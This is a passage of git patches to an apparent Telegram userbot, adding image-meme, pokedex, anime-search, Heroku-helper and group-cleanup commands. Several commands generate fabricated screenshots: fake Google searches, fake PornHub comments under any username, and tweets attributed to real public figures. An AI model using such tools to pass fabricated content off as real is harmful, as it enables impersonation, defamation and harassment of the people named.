@@ async def iamthug(event): await event.reply("Reply to any Image.") return hmm = await event.edit("`Converting To thug Image..`") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return + await event.get_reply_message() + img = await convert_to_image(event, borg) imagePath = img maskPath = "./resources/thuglife/mask.png" cascPath = "./resources/thuglife/face_regex.xml" @@ -151,11 +134,6 @@ async def iamthug(event): os.remove(files) -import os - -import cv2 - - @friday.on(friday_on_cmd(pattern=r"tni")) @friday.on(sudo_cmd(pattern=r"tni", allow_sudo=True)) async def toony(event): @@ -163,14 +141,8 @@ async def toony(event): await event.reply("Reply to any Image.") return hmmu = await event.edit("`Converting Toonized Image..`") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return + await event.get_reply_message() + img = await convert_to_image(event, borg) imagez = cv2.imread(img) cartoon_image_style_2 = cv2.stylization( imagez, sigma_s=60, sigma_r=0.5 @@ -193,13 +165,7 @@ async def toony(event): async def lolmetrg(event): await event.edit("`Triggered This Image`") sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return + img = await convert_to_image(event, borg) url_s = upload_file(img) imglink = f"https://telegra.ph{url_s[0]}" lolul = f"https://some-random-api.ml/canvas/triggered?avatar={imglink}" @@ -221,15 +187,9 @@ async def hmm(event): await event.reply("Reply to any Image.") return hmmu = await event.edit("hmm... Sending him to jail...🚶") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - mon = "./resources/jail/jail.png" + await event.get_reply_message() + img = await convert_to_image(event, borg) + mon = "./resources/jail/hmm.png" foreground = Image.open(mon).convert("RGBA") background = Image.open(img).convert("RGB") @@ -249,7 +209,6 @@ async def hmm(event): os.remove(files) - @friday.on(friday_on_cmd(pattern=r"greyscale")) @friday.on(sudo_cmd(pattern=r"greyscale", allow_sudo=True)) async def hmm(event): @@ -257,23 +216,15 @@ async def hmm(event): await event.reply("Reply to any Image.") return hmmu = await event.edit("hmm.. Creating a black&White image...") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return + await event.get_reply_message() + img = await convert_to_image(event, borg) img1 = cv2.imread(img) - gray_img = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY) - cv2.imwrite("./starkgangz/testing.png", gray_img) file_name = "testing.png" - ok = "./starkgangz/" + file_name + ok = "./starkgangz/" + file_name await borg.send_file(event.chat_id, ok) await hmmu.delete() for files in (ok, img): @@ -281,7 +232,150 @@ async def hmm(event): os.remove(files) +# Plugin By - XlayerCharon[XCB] +# TG ~>>//@CharonCB21 +# @code-rgb +@friday.on(friday_on_cmd(pattern=r"fgs ?(.*)")) +@friday.on(sudo_cmd(pattern=r"fgs ?(.*)", allow_sudo=True)) +async def img(event): + text = event.pattern_match.group(1) + if not text: + await event.edit("No input found!") + return + if ";" in text: + search, result = text.split(";", 1) + else: + event.edit("Invalid Input! Check help for more info!") + return + photo = Image.open("resources/dummy_image/fgs.jpg") + drawing = ImageDraw.Draw(photo) + blue = (0, 0, 255) + black = (0, 0, 0) + font1 = ImageFont.truetype("Fonts/ProductSans-BoldItalic.ttf", 20) + font2 = ImageFont.truetype("Fonts/ProductSans-Light.ttf", 23) + drawing.text((450, 258), result, fill=blue, font=font1) + drawing.text((270, 37), search, fill=black, font=font2) + file_name = "fgs.jpg" + ok = sedpath + "/" + file_name + photo.save(ok) + await event.delete() + await friday.send_file(event.chat_id, ok) + if os.path.exists(ok): + os.remove(ok) + + +@friday.on(friday_on_cmd(pattern=r"lg")) +@friday.on(sudo_cmd(pattern=r"lg", allow_sudo=True)) +async def lottiepie(event): + await event.edit("`Prooooooccccesssssssinggggg.....`") + message = await event.get_reply_message() + if message.media and message.media.document: + mime_type = message.media.document.mime_type + if not "tgsticker" in mime_type: + await event.edit("Not Supported Yet.") + return + await message.download_media("tgs.tgs") + await runcmd("lottie_convert.py tgs.tgs json.json") + json = open("json.json", "r") + jsn = json.read() + json.close() + jsn = ( + jsn.replace("[1]", "[2]") + .replace("[2]", "[3]") + .replace("[3]", "[4]") + .replace("[4]", "[5]") + .replace("[5]", "[6]") + ) + open("json.json", "w").write(jsn) + await event.delete() + await runcmd(f"lottie_convert.py json.json tgs.tgs") + await borg.send_file(event.chat_id, file="tgs.tgs", force_document=False) + os.remove("json.json") + os.remove("tgs.tgs") + + +@friday.on(friday_on_cmd(pattern=r"ph ?(.*)")) +@friday.on(sudo_cmd(pattern=r"ph ?(.*)", allow_sudo=True)) +async def img(event): + text = event.pattern_match.group(1) + if not text: + await event.edit("No input found! --__--") + return + if ":" in text: + username, texto = text.split(":", 1) + else: + event.edit("Invalid Input! Check help for more info!") + return + img = Image.open("./resources/pb/pb.jpg") + d1 = ImageDraw.Draw(img) + myFont = ImageFont.truetype("./resources/pb/font.TTF", 100) + + d1.text((300, 700), username, font=myFont, fill=(135, 98, 87)) + + d1.text((12, 1000), texto, font=myFont, fill=(203, 202, 202)) + + img.save("./starkgangz/testpb.jpg") + file_name = "testpb.jpg" + ok = "./starkgangz/" + file_name + await borg.send_file(event.chat_id, ok) + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) +# Credits To These : +# https://github.com/midnightmadwalk [TG: @MidnightMadwalk] +# https://github.com/code-rgb [TG: @DeletedUser420] +# Ported By https://github.com/STARKGANG [TG: @STARKXD] + + +@friday.on(friday_on_cmd(pattern=r"spin ?(.*)")) +@friday.on(sudo_cmd(pattern=r"spin ?(.*)", allow_sudo=True)) +async def spinshit(message): + reply = await message.get_reply_message() + lmaodict = {"1": 1, "2": 3, "3": 6, "4": 12, "5": 24, "6": 60} + lolshit = message.pattern_match.group(1) + keke = f"{lolshit}" + if not reply: + await message.edit("`Reply To Media First !`") + return + else: + if lolshit: + step = lmaodict[keke] + else: + step = 1 + pic_loc = await convert_to_image(message, borg) + if not pic_loc: + await message.edit("`Reply to a valid media first.`") + return + await message.edit("🌀 `Tighten your seatbelts, sh*t is about to get wild ...`") + spin_dir = 1 + path = "resources/rotate-disc/" + if os.path.exists(path): + rmtree(path, ignore_errors=True) + os.mkdir(path) + im = Image.open(pic_loc) + if im.mode != "RGB": + im = im.convert("RGB") + # Rotating pic by given angle and saving + for k, nums in enumerate(range(1, 360, step), start=0): + y = im.rotate(nums * spin_dir) + y.save(os.path.join(path, "spinx%s.jpg" % k)) + output_vid = os.path.join(path, "out.mp4") + # ;__; Maths lol, y = mx + c + frate = int(((90 / 59) * step) + (1680 / 59)) + # https://stackoverflow.com/questions/20847674/ffmpeg-libx264-height-not-divisible-by-2 + await runcmd( + f'ffmpeg -framerate {frate} -i {path}spinx%d.jpg -c:v libx264 -preset ultrafast -vf "crop=trunc(iw/2)*2:trunc(ih/2)*2" -pix_fmt yuv420p {output_vid}' + ) + if os.path.exists(output_vid): + round_vid = os.path.join(path, "out_round.mp4") + await crop_vid(output_vid, round_vid) + await borg.send_file( + message.chat_id, round_vid, video_note=True, reply_to=reply.id + ) + await message.delete() + os.remove(pic_loc) + rmtree(path, ignore_errors=True) CMD_HELP.update( @@ -297,6 +391,10 @@ async def hmm(event): \n**Usage :** Makes a triggered gif of the replied image.\ \n\n**Syntax : ** `.jail`\ \n**Usage :** Makes a jail image of the replied image.\ + \n\n**Syntax : ** `.fgs searchtext;fake text`\ + \n**Usage :** Makes a Fake Google Search Image.\ + \n\n**Syntax : ** `.ph username:fake text`\ + \n**Usage :** Makes a Fake PornHub comment with given username and text.\ \n\n**Syntax : ** `.greyscale`\ \n**Usage :** Makes a black and white image of the replied image." } From 8d0e987ea56bd6032786f324589d756e02e890b8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:35:01 +0530 Subject: [PATCH 140/838] Create anime.py --- fridaybot/modules/anime.py | 45 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 fridaybot/modules/anime.py diff --git a/fridaybot/modules/anime.py b/fridaybot/modules/anime.py new file mode 100644 index 00000000..cd9e7aa4 --- /dev/null +++ b/fridaybot/modules/anime.py @@ -0,0 +1,45 @@ +from anime_downloader.sites import get_anime_class + +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="anime (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + lmao = input_str.split(":", 1) + site = lmao[0] + lol = lmao[1] + why = site.lower() + + Twist = get_anime_class(why) + search = Twist.search(lol) + + title1 = search[0].title + url1 = search[0].url + title2 = search[1].title + url2 = search[1].url + title3 = search[2].title + url3 = search[2].url + title4 = search[3].title + url4 = search[3].url + title5 = search[4].title + url5 = search[4].url + + await event.edit( + f"Anime Search Complete \n\n\nTitle:- {title1} \nURL Link:- {url1}\n\nTitle:- {title2} \nURL Link:- {url2}\n\nTitle:- {title3} \nURL Link:- {url3}\n\nTitle:- {title4} \nURL Link:- {url4}\n\nTitle:- {title5} \nURL Link:- {url5}", + parse_mode="HTML", + ) + + +CMD_HELP.update( + { + "anime": "**Anime**\ +\n\n**Syntax : **`.anime `\ +\n**Usage :** Automatically Gets Streaming Link Of The Anime.\ +\n**Example :** `.anime twist.moe:one piece`\ +\n**Note** :** Get Site names list from [Here](https://fridayanime.netlify.app/)." + } +) From f62e49223ae3539fb0f8adb7b13855c58d224700 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:37:17 +0530 Subject: [PATCH 141/838] Update admin.py --- fridaybot/modules/admin.py | 128 ++++++++++++++++--------------------- 1 file changed, 54 insertions(+), 74 deletions(-) diff --git a/fridaybot/modules/admin.py b/fridaybot/modules/admin.py index a2bed860..074f396c 100644 --- a/fridaybot/modules/admin.py +++ b/fridaybot/modules/admin.py @@ -32,7 +32,7 @@ ) from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import admin_cmd, errors_handler +from fridaybot.utils import admin_cmd, errors_handler, sudo_cmd # =================== CONSTANT =================== PP_TOO_SMOL = "`The image is too small`" @@ -435,79 +435,6 @@ async def unmoot(unmot): ) -@borg.on(admin_cmd(pattern=r"delusers(?: |$)(.*)")) -@errors_handler -async def rm_deletedacc(show): - """ For .delusers command, list all the ghost/deleted accounts in a chat. """ - if not show.is_group: - await show.edit("`I don't think this is a group.`") - return - con = show.pattern_match.group(1) - del_u = 0 - del_status = "`No deleted accounts found, Group is cleaned as Hell`" - - if con != "clean": - await show.edit("`Searching for zombie accounts...`") - async for user in show.client.iter_participants(show.chat_id, aggressive=True): - if user.deleted: - del_u += 1 - await sleep(1) - if del_u > 0: - del_status = f"Found **{del_u}** deleted account(s) in this group,\ - \nclean them by using .delusers clean" - - await show.edit(del_status) - return - - # Here laying the sanity check - chat = await show.get_chat() - admin = chat.admin_rights - creator = chat.creator - - # Well - if not admin and not creator: - await show.edit("`I am not an admin here!`") - return - - await show.edit("`Deleting deleted accounts...\nOh I can do that?!?!`") - del_u = 0 - del_a = 0 - - async for user in show.client.iter_participants(show.chat_id): - if user.deleted: - try: - await show.client( - EditBannedRequest(show.chat_id, user.id, BANNED_RIGHTS) - ) - except ChatAdminRequiredError: - await show.edit("`I don't have ban rights in this group`") - return - except UserAdminInvalidError: - del_u -= 1 - del_a += 1 - await show.client(EditBannedRequest(show.chat_id, user.id, UNBAN_RIGHTS)) - del_u += 1 - - if del_u > 0: - del_status = f"Cleaned **{del_u}** deleted account(s)" - - if del_a > 0: - del_status = f"Cleaned **{del_u}** deleted account(s) \ - \n**{del_a}** deleted admin accounts are not removed" - - await show.edit(del_status) - await sleep(2) - await show.delete() - - if BOTLOG: - await show.client.send_message( - BOTLOG_CHATID, - "#CLEANUP\n" - f"Cleaned **{del_u}** deleted account(s) !!\ - \nCHAT: {show.chat.title}(`{show.chat_id}`)", - ) - - # @register(outgoing=True, pattern="^.adminlist$") @borg.on(admin_cmd(pattern=r"adminlist")) @errors_handler @@ -670,6 +597,59 @@ async def get_users(show): remove("userslist.txt") +@borg.on(admin_cmd(pattern="zombies(?: |$)(.*)", allow_sudo=True)) +@borg.on(sudo_cmd(pattern="zombies(?: |$)(.*)", allow_sudo=True)) +async def rm_deletedacc(show): + con = show.pattern_match.group(1).lower() + del_u = 0 + del_status = "`No deleted accounts found, Group is clean`" + if con != "clean": + await show.edit("`Searching for ghost/deleted/zombie accounts...`") + async for user in show.client.iter_participants(show.chat_id): + + if user.deleted: + del_u += 1 + await sleep(1) + if del_u > 0: + del_status = f"`Found` **{del_u}** `ghost/deleted/zombie account(s) in this group,\ + \nclean them by using .zombies clean`" + + await show.edit(del_status) + return + chat = await show.get_chat() + admin = chat.admin_rights + creator = chat.creator + if not admin and not creator: + await show.edit("`I am not an admin here!`") + return + await show.edit("`Deleting deleted accounts...\nOh I can do that?!?!`") + del_u = 0 + del_a = 0 + async for user in show.client.iter_participants(show.chat_id): + if user.deleted: + try: + await show.client( + EditBannedRequest(show.chat_id, user.id, BANNED_RIGHTS) + ) + except ChatAdminRequiredError: + await show.edit("`I don't have ban rights in this group`") + return + except UserAdminInvalidError: + del_u -= 1 + del_a += 1 + await show.client(EditBannedRequest(show.chat_id, user.id, UNBAN_RIGHTS)) + del_u += 1 + if del_u > 0: + del_status = f"Cleaned **{del_u}** deleted account(s)" + if del_a > 0: + del_status = f"Cleaned **{del_u}** deleted account(s) \ + \n**{del_a}** deleted admin accounts are not removed" + + await show.edit(del_status) + await sleep(2) + await show.delete() + + async def get_user_from_event(event): """ Get the user from argument or replied message. """ args = event.pattern_match.group(1).split(" ", 1) From 4c4b2a1778cd306e5f396fbc9bb414dc1534083b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:22:13 +0530 Subject: [PATCH 142/838] Create heroku_helper.py --- fridaybot/function/heroku_helper.py | 30 +++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 fridaybot/function/heroku_helper.py diff --git a/fridaybot/function/heroku_helper.py b/fridaybot/function/heroku_helper.py new file mode 100644 index 00000000..4b5a82f6 --- /dev/null +++ b/fridaybot/function/heroku_helper.py @@ -0,0 +1,30 @@ +# Ported From https://github.com/jaskaranSM/HerokuManagerBot + +import heroku3 + +from var import Var + +herokuclient = heroku3.from_key(Var.HEROKU_API_KEY) + + +class HerokuHelper: + def __init__(self, appName, apiKey): + self.API_KEY = apiKey + self.APP_NAME = appName + self.herokuclient = self.getherokuclient() + self.app = self.herokuclient.apps()[self.APP_NAME] + + def getherokuclient(self): + return heroku3.from_key(self.API_KEY) + + def getAccount(self): + return self.herokuclient.account() + + def getLog(self): + return self.app.get_log() + + def addEnvVar(self, key, value): + self.app.config()[key] = value + + def restart(self): + return self.app.restart() From 681b969d8ef5c0400405e75369a754b496118b76 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:24:25 +0530 Subject: [PATCH 143/838] Create pokedex.py --- fridaybot/modules/pokedex.py | 129 +++++++++++++++++++++++++++++++++++ 1 file changed, 129 insertions(+) create mode 100644 fridaybot/modules/pokedex.py diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py new file mode 100644 index 00000000..51ad22cb --- /dev/null +++ b/fridaybot/modules/pokedex.py @@ -0,0 +1,129 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +from pokedex import pokedex + +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="pokedex (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + pokedx = pokedex.Pokedex() + pokemen = pokedx.get_pokemon_by_name(input_str) + pokemon = pokemen[0] + name = str(pokemon.get("name")) + number = str(pokemon.get("number")) + species = str(pokemon.get("species")) + typo = pokemon.get("types") + types = "" + for tu in typo: + types += str(tu) + ", " + + lol = pokemon.get("abilities") + lmao = lol.get("normal") + ok = "" + for ty in lmao: + ok = str(ty) + ", " + + kk = lol.get("hidden") + hm = "" + for pq in kk: + hm += str(pq) + ", " + hell = pokemon.get("eggGroups") + uio = "" + for x in hell: + uio += str(x) + ", " + + height = pokemon.get("height") + weight = pokemon.get("weight") + yes = pokemon.get("family") + Id = str(yes.get("id")) + evo = str(yes.get("evolutionStage")) + pol = yes.get("evolutionLine") + xy = "" + for p in pol: + xy += str(p) + ", " + + start = pokemon.get("starter") + if start == False: + start = "No" + elif start == True: + start = "True" + else: + pass + + leg = pokemon.get("legendary") + + if leg == False: + leg = "No" + elif leg == True: + leg = "True" + else: + pass + + myt = pokemon.get("mythical") + if myt == False: + myt = "No" + elif myt == True: + myt = "True" + else: + pass + ultra = pokemon.get("ultraBeast") + + if ultra == False: + ultra = "No" + elif ultra == True: + ultra = "True" + else: + pass + + megA = pokemon.get("mega") + + if megA == False: + megA = "No" + elif megA == True: + megA = "True" + else: + pass + + gEn = pokemon.get("gen") + link = pokemon.get("sprite") + des = pokemon.get("description") + + # hope = await borg(event.chat_id, link) + caption = f"Pokemon Information Gathered Successfully\n\n\nName:- {name}\nNumber:- {number}\nSpecies:- {species}\nType:- {types}\n\nAbilities\nNormal Abilities:- {ok}\nHidden Abilities:- {hm}\nEgg Group:- {uio}\nHeight:- {height}\nWeight:- {weight}\n\nFamily\nID:- {Id}\nEvolution Stage:- {evo}\nEvolution Line:- {xy}\nStarter:- {start}\nLegendary:- {leg}\nMythical:- {myt}\nUltra Beast:- {ultra}\nMega:- {megA}\nGen:- {gEn}\nDescription:- {des}" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + await event.delete() + + +CMD_HELP.update( + { + "pokedex": "**Pokedex**\ +\n\n**Syntax : **`.pokedex `\ +\n**Usage :** Gives Information About Given Pokemon.\ +\n\n**Example : **`.pokedex pikachu`\ +\nThis above syntax gives Information about Pikachu" + } +) From 5254af27981bfd169416e34f6508f703c37f8263 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:29:09 +0530 Subject: [PATCH 144/838] Create sizeresize.py --- fridaybot/modules/sizeresize.py | 50 +++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 fridaybot/modules/sizeresize.py diff --git a/fridaybot/modules/sizeresize.py b/fridaybot/modules/sizeresize.py new file mode 100644 index 00000000..0fc1d405 --- /dev/null +++ b/fridaybot/modules/sizeresize.py @@ -0,0 +1,50 @@ +import PIL +from fridaybot.utils import admin_cmd +from fridaybot import CMD_HELP +import pygments, os, asyncio +from pygments.lexers import Python3Lexer +from pygments.formatters import ImageFormatter +from ..utils import admin_cmd +from fridaybot import bot +from fridaybot import bot as borg +@bot.on(admin_cmd(pattern="size ?(.*)", outgoing=True)) +# DONOT KANG by Sh1vam +#Team DC +async def __(event): + + path = "shivamdownloadesimg" + + reply = await event.get_reply_message() + + download = await borg.download_media(reply.media, path) + image = PIL.Image.open(download) + shvm=PIL.Image.open(download) + shi,vam = image.size + #img=shvm.resize((int(sh1),int(vam))) + await event.edit(f"Dimensions Of Image are {shi} by {vam}") + os.remove(download) +@bot.on(admin_cmd(pattern="resize ?(.*)", outgoing=True)) +# DONOT KANG by Sh1vam +async def __(event): + + path = "shivamdownloades" + licence = event.text + liscence=licence[8:] + await event.delete() + reply = await event.get_reply_message() + + download = await borg.download_media(reply.media, path) + #image = PIL.Image.open(download) + shvm=PIL.Image.open(download) + shi,vam = liscence.split(":") + img=shvm.resize((int(shi),int(vam))) + #await event.edit(f"Dimensions Of Image are {shi} by {vam}") + img.save("sh1vam.png", format="PNG", optimize=True) + await event.client.send_file(event.chat_id, "sh1vam.png", force_document=True, reply_to=event.reply_to_msg_id) + await event.client.send_file(event.chat_id, "sh1vam.png", force_document=False, reply_to=event.reply_to_msg_id) + os.remove(download) + os.remove("sh1vam.png") + + + + From 2eef3b5c14ca5025740337d657cc961396d37706 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:31:40 +0530 Subject: [PATCH 145/838] Create sticklet.py --- fridaybot/modules/sticklet.py | 77 +++++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 fridaybot/modules/sticklet.py diff --git a/fridaybot/modules/sticklet.py b/fridaybot/modules/sticklet.py new file mode 100644 index 00000000..6f4f4321 --- /dev/null +++ b/fridaybot/modules/sticklet.py @@ -0,0 +1,77 @@ +""" +Command - .sticklet +Make sticker of text with random colour and font. +""" + +import io +import os +import random +import textwrap + +from PIL import Image, ImageDraw, ImageFont +from telethon.tl.types import InputMessagesFilterDocument +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="sticklet (.*)")) +async def sticklet(event): + R = random.randint(0,256) + G = random.randint(0,256) + B = random.randint(0,256) + + # get the input text + # the text on which we would like to do the magic on + sticktext = event.pattern_match.group(1) + + # delete the userbot command, + await event.delete() + + # https://docs.python.org/3/library/textwrap.html#textwrap.wrap + sticktext = textwrap.wrap(sticktext, width=10) + # converts back the list to a string + sticktext = '\n'.join(sticktext) + + image = Image.new("RGBA", (512, 512), (255, 255, 255, 0)) + draw = ImageDraw.Draw(image) + fontsize = 230 + + FONT_FILE = await get_font_file(event.client, "@FontHub") + + font = ImageFont.truetype(FONT_FILE, size=fontsize) + + while draw.multiline_textsize(sticktext, font=font) > (512, 512): + fontsize -= 3 + font = ImageFont.truetype(FONT_FILE, size=fontsize) + + width, height = draw.multiline_textsize(sticktext, font=font) + draw.multiline_text(((512-width)/2,(512-height)/2), sticktext, font=font, fill=(R, G, B)) + + image_stream = io.BytesIO() + image_stream.name = "leobrownlee.webp" + image.save(image_stream, "WebP") + image_stream.seek(0) + + # finally, reply the sticker + await event.client.send_message(event.chat_id, "{}".format(sticktext), file=image_stream, reply_to=event.message.reply_to_msg_id) + + # cleanup + try: + os.remove(FONT_FILE) + except: + pass + + +async def get_font_file(client, channel_id): + # first get the font messages + font_file_message_s = await client.get_messages( + entity=channel_id, + filter=InputMessagesFilterDocument, + # this might cause FLOOD WAIT, + # if used too many times + limit=None + ) + # get a random font from the list of fonts + # https://docs.python.org/3/library/random.html#random.choice + font_file_message = random.choice(font_file_message_s) + # download and return the file path + return await client.download_media(font_file_message) From 54e105b69c277cd27a55d96763c41bce9fc0d0f4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:33:51 +0530 Subject: [PATCH 146/838] Create superstar.py --- fridaybot/modules/superstar.py | 42 ++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 fridaybot/modules/superstar.py diff --git a/fridaybot/modules/superstar.py b/fridaybot/modules/superstar.py new file mode 100644 index 00000000..748d3971 --- /dev/null +++ b/fridaybot/modules/superstar.py @@ -0,0 +1,42 @@ +"""command:.sr""" + +from telethon import events + +import asyncio + + + + + +@borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) + +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 2 + + animation_ttl = range(0, 11) + + input_str = event.pattern_match.group(1) + + if input_str == "star": + + await event.edit(input_str) + + animation_chars = [ + + "I Party like a rockstar", + "I Look like a movie star", + "I Play like an all star", + "I Fuck like a pornstar", + "Baby I'm a superstar" + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 11]) From abccbfac80872b29ef1273559e17aea375fe4e9a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 07:36:27 +0530 Subject: [PATCH 147/838] Create tweet.py --- fridaybot/modules/tweet.py | 390 +++++++++++++++++++++++++++++++++++++ 1 file changed, 390 insertions(+) create mode 100644 fridaybot/modules/tweet.py diff --git a/fridaybot/modules/tweet.py b/fridaybot/modules/tweet.py new file mode 100644 index 00000000..68629e23 --- /dev/null +++ b/fridaybot/modules/tweet.py @@ -0,0 +1,390 @@ +import os +import re +import requests +from validators.url import url +from asyncio import sleep +from random import choice, getrandbits, randint +import random +import time +from telethon import events +from userbot import bot +from collections import deque +import sys +import html +import json +from PIL import Image, ImageEnhance, ImageOps +from fridaybot import CMD_HELP, bot +from fridaybot.events import register +from fridaybot.tweet import moditweet, johnnytweet, sunnytweet, bhautweet, jtweet, miatweet +from fridaybot.utils import admin_cmd + +EMOJI_PATTERN = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+" +) + + +def deEmojify(inputString: str) -> str: + return re.sub(EMOJI_PATTERN, "", inputString) + + +# for nekobot +async def trumptweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=trumptweet&text={text}" + ).json() + geng = r.get("message") + kapak = url(geng) + if not kapak: + return "check syntax once more" + with open("gpx.png", "wb") as f: + f.write(requests.get(geng).content) + img = Image.open("gpx.png").convert("RGB") + img.save("gpx.webp", "webp") + return "gpx.webp" + + +async def changemymind(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=changemymind&text={text}" + ).json() + geng = r.get("message") + kapak = url(geng) + if not kapak: + return "check syntax once more" + with open("gpx.png", "wb") as f: + f.write(requests.get(geng).content) + img = Image.open("gpx.png").convert("RGB") + img.save("gpx.webp", "webp") + return "gpx.webp" + + + + + + + +async def tweets(text1, text2): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text1}&username={text2}" + ).json() + geng = r.get("message") + kapak = url(geng) + if not kapak: + return "check syntax once more" + with open("gpx.png", "wb") as f: + f.write(requests.get(geng).content) + img = Image.open("gpx.png").convert("RGB") + img.save("gpx.webp", "webp") + return "gpx.webp" + + +async def purge(): + try: + os.remove("gpx.png") + os.remove("gpx.webp") + except OSError: + pass + + +#@register(outgoing=True, pattern=r"^\.trump(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="trump ?(.*)")) +async def trump(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to trump so he can tweet.`") + return + await event.edit("`Requesting trump to tweet...`") + text = deEmojify(text) + img = await trumptweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + +#@register(outgoing=True, pattern=r"^\.johnny(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="johnny ?(.*)")) + +async def johnny(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Johnny so he can tweet.`") + return + await event.edit("`Requesting Johnny to tweet...`") + text = deEmojify(text) + img = await johnnytweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + +#@register(outgoing=True, pattern=r"^\.bhau(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="bhau ?(.*)")) +async def bhau(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Hindustani Bhau so he can tweet.`") + return + await event.edit("`Requesting Hindustani bhau to tweet...`") + text = deEmojify(text) + img = await bhautweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +#@register(outgoing=True, pattern=r"^\.sunny(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="sunny ?(.*)")) +async def sunny(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = 